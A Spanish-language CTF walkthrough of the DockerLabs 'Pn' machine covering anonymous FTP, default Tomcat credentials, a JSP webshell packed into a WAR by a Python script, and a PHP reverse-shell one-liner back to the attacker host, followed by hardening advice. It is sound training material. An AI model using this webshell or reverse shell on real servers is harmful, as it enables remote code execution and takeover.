Pn
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Pn, desarrollada por El Pingüino de Mario y clasificada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía clara, trazable y técnicamente fundamentada, donde cada acción se justifica y se conecta con fallos de seguridad reales que pueden encontrarse en entornos productivos.
El flujo metodológico está organizado en tres fases:
- Reconocimiento: identificación de servicios expuestos, puertos abiertos y posibles vectores de ataque.
- Explotación: abuso de configuraciones inseguras en FTP y Tomcat para lograr ejecución remota de comandos.
- Escalada de privilegios: obtención de acceso ROOT mediante ejecución de payloads desde servicios mal configurados.
Todas las pruebas se realizaron exclusivamente en el entorno controlado de DockerLabs.
Información general
Sección titulada «Información general»| Atributo | Valor |
|---|---|
| Nombre | Pn |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha de creación | 02/04/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip Pn.zipDesplegar el contenedor:
sudo bash auto_deploy.sh Pn.tarEl script mostrará la IP asignada, que se utilizará en las fases siguientes.

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del workspace
Sección titulada «1.1 Organización del workspace»mkdir -p Pn/{content,exploits,nmap,gobuster,scripts}cd PnMantener la estructura organizada facilita la documentación y la trazabilidad de cada acción.
1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsextractPorts allPortsPuertos relevantes identificados:
- 21/tcp → FTP con acceso anónimo
- 8080/tcp → Apache Tomcat

1.3 Escaneo de servicios
Sección titulada «1.3 Escaneo de servicios»nmap -sCV -p21,8080 -oN targeted
El análisis confirma:
- FTP permite ftp-anon, lo cual habilita acceso sin credenciales.
- Tomcat está activo en el puerto 8080.
1.4 Enumeración web
Sección titulada «1.4 Enumeración web»gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200No se encontraron rutas interesantes. El index corresponde al panel por defecto de Apache Tomcat.

Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»2.1 Acceso a FTP mediante ftp-anon
Sección titulada «2.1 Acceso a FTP mediante ftp-anon»El acceso anónimo está activado:
ftp 172.17.0.2Ingresar como:
user: anonymouspassword: [vacío]Dentro del servidor, aparece un archivo:
tomcat.txt
Este archivo sugiere que el usuario de Tomcat podría llamarse tomcat, por lo que falta identificar su contraseña.
2.2 Descubrimiento de credenciales válidas
Sección titulada «2.2 Descubrimiento de credenciales válidas»Probando contraseñas comunes del diccionario de Tomcat:

La combinación válida encontrada es:
tomcat : s3cr3tEstas credenciales permiten ingresar al Manager App de Tomcat:

2.3 Subida de una webshell en formato WAR
Sección titulada «2.3 Subida de una webshell en formato WAR»Tomcat permite desplegar aplicaciones mediante archivos .war.
Se genera un archivo shell.war con una webshell en JSP:
#!/usr/bin/env python3import osimport zipfile
webshell_content = '''<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); }}%><form method="post">CMD: <input type="text" name="cmd" size="50"><input type="submit" value="Execute"></form>'''
with zipfile.ZipFile('shell.war', 'w') as war_file: war_file.writestr('shell.jsp', webshell_content) war_file.writestr('WEB-INF/web.xml', '''<?xml version="1.0"?><web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5"></web-app>''')Al ejecutar:
python3 script.pyse obtiene el archivo shell.war, que luego se sube desde el panel:

La webshell responde correctamente al comando id.
2.4 Obtención de una reverse shell
Sección titulada «2.4 Obtención de una reverse shell»Primero se abre un listener en la máquina atacante:
nc -nlvp 443Desde la webshell se ejecuta:
php -r '$sock=fsockopen("172.17.0.1",443);system("bash <&3 >&3 2>&3");'Se obtiene acceso interactivo:

Acceso ROOT conseguido.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»| Tipo de vulnerabilidad | Descripción breve | Impacto |
|---|---|---|
| FTP anónimo habilitado | Acceso al servicio sin credenciales, permitiendo lectura de archivos sensibles. | Medio |
| Credenciales débiles en Tomcat | Uso de contraseñas por defecto ampliamente conocidas. | Alto |
| Panel Manager de Tomcat expuesto | Acceso directo a la consola administrativa sin restricciones adicionales. | Crítico |
| Carga de archivos WAR no controlada | Permite desplegar aplicaciones maliciosas y ejecutar código arbitrario. | Crítico |
| Configuración insegura del servidor | Falta de segmentación y privilegios mínimos en servicios. | Alto |
Recomendaciones
Sección titulada «Recomendaciones»- Deshabilitar ftp-anon y usar FTPS o SFTP.
- Modificar credenciales predeterminadas de Tomcat, implementar MFA o restringir acceso por ACL.
- Deshabilitar el panel Manager en entornos productivos, o limitarlo estrictamente por firewall.
- Validar y restringir la carga de archivos WAR solo a administradores confiables.
- Aplicar el principio de privilegios mínimos en todos los servicios.
- Segmentar la red interna, evitando exposición innecesaria de servicios a otras interfaces.